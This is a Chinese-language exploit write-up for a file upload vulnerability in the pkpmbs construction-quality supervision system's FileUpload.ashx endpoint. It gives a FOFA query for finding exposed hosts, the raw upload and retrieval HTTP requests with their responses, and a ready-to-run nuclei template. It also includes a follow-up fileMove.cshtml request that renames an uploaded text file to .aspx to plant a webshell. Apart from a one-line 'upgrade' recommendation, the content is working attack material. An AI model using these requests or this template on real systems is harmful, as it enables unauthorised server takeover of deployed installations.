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漏洞名称

pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传漏洞

漏洞描述

pkpmbs 建设工程质量监督系统,是湖南建研信息技术股份有限公司下的一款工程管理软件，该系统FileUpload.ashx 处存在文件上传漏洞，攻击者可上传webshell控制服务器。

FOFA搜索语句

icon_hash="2001627082"

漏洞复现

向靶场发送如下数据包上传文件


POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 336
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png

YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"

/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--

响应内容如下

HTTP/1.1 200 OK
Connection: close
Content-Length: 128
Access-Control-Allow-Headers: Accept, Origin, Content-type,CrossDomain
Access-Control-Allow-Methods: *
Access-Control-Allow-Origin: *
Cache-Control: private
Content-Type: application/json; charset=utf-8
Date: Thu, 30 Nov 2023 02:24:04 GMT
Server: Microsoft-IIS/8.5
Set-Cookie: ASP.NET_SessionId=kdldimtwukmwmn4k22duulxjk; path=/; HttpOnly
X-Aspnet-Version: 4.0.30319
X-Powered-By: ASP.NET

{"code":0,"msg":"上传成功","data":"http://x.x.x.x/Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt"}

查看回显文件

GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept-Encoding: gzip

响应数据包如下

HTTP/1.1 200 OK
Connection: close
Content-Length: 27
Accept-Ranges: bytes
Access-Control-Allow-Headers: Accept, Origin, Content-type,CrossDomain
Access-Control-Allow-Methods: *
Access-Control-Allow-Origin: *
Content-Type: text/plain
Date: Thu, 30 Nov 2023 02:24:04 GMT
Etag: W/"4d4c2493423da1:0"
Last-Modified: Thu, 30 Nov 2023 02:24:04 GMT
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET

YsOxWxSvj1KyZow1PTsh98fdu6l

证明存在漏洞

nuclei poc

poc文件内容如下


id: pkpmbs-FileUpload-fileupload
info:
  name: pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传漏洞
  author: fgz
  severity: critical
  description: 'pkpmbs 建设工程质量监督系统,是湖南建研信息技术股份有限公司下的一款工程管理软件，该系统FileUpload.ashx 处存在文件上传漏洞，攻击者可上传webshell控制服务器。'
  tags: 2023, pkpmbs, fileupload
  metadata:
    max-request: 1
    fofa-query: icon_hash="2001627082"
    verified: true

http:
  - raw:
      - |
        POST /Platform/System/FileUpload.ashx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----{{randstr}}
        Accept-Encoding: gzip
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
        
        ------{{randstr}}
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.txt"
        Content-Type: image/png
        
        {{randstr}}
        ------{{randstr}}
        Content-Disposition: form-data; name="target"
        
        /Applications/SkillDevelopAndEHS/
        ------{{randstr}}--

      - |
        GET /Applications/SkillDevelopAndEHS/{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200 && status_code_2 == 200 && contains(body_2, '{{randstr}}')"

运行POC

nuclei.exe  -t pkpmbs-FileUpload-fileupload.yaml -l 1.txt

漏洞利用

该漏洞无法直接上传aspx文件，但可以先上传txt再做个文件格式转换

GET /Applications/SkillDevelopAndEHS/fileMove.cshtml?filePath=上传的文件名&factFilePath=转换后文件名.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Accept-Encoding: gzip

修复建议

升级到最新版本。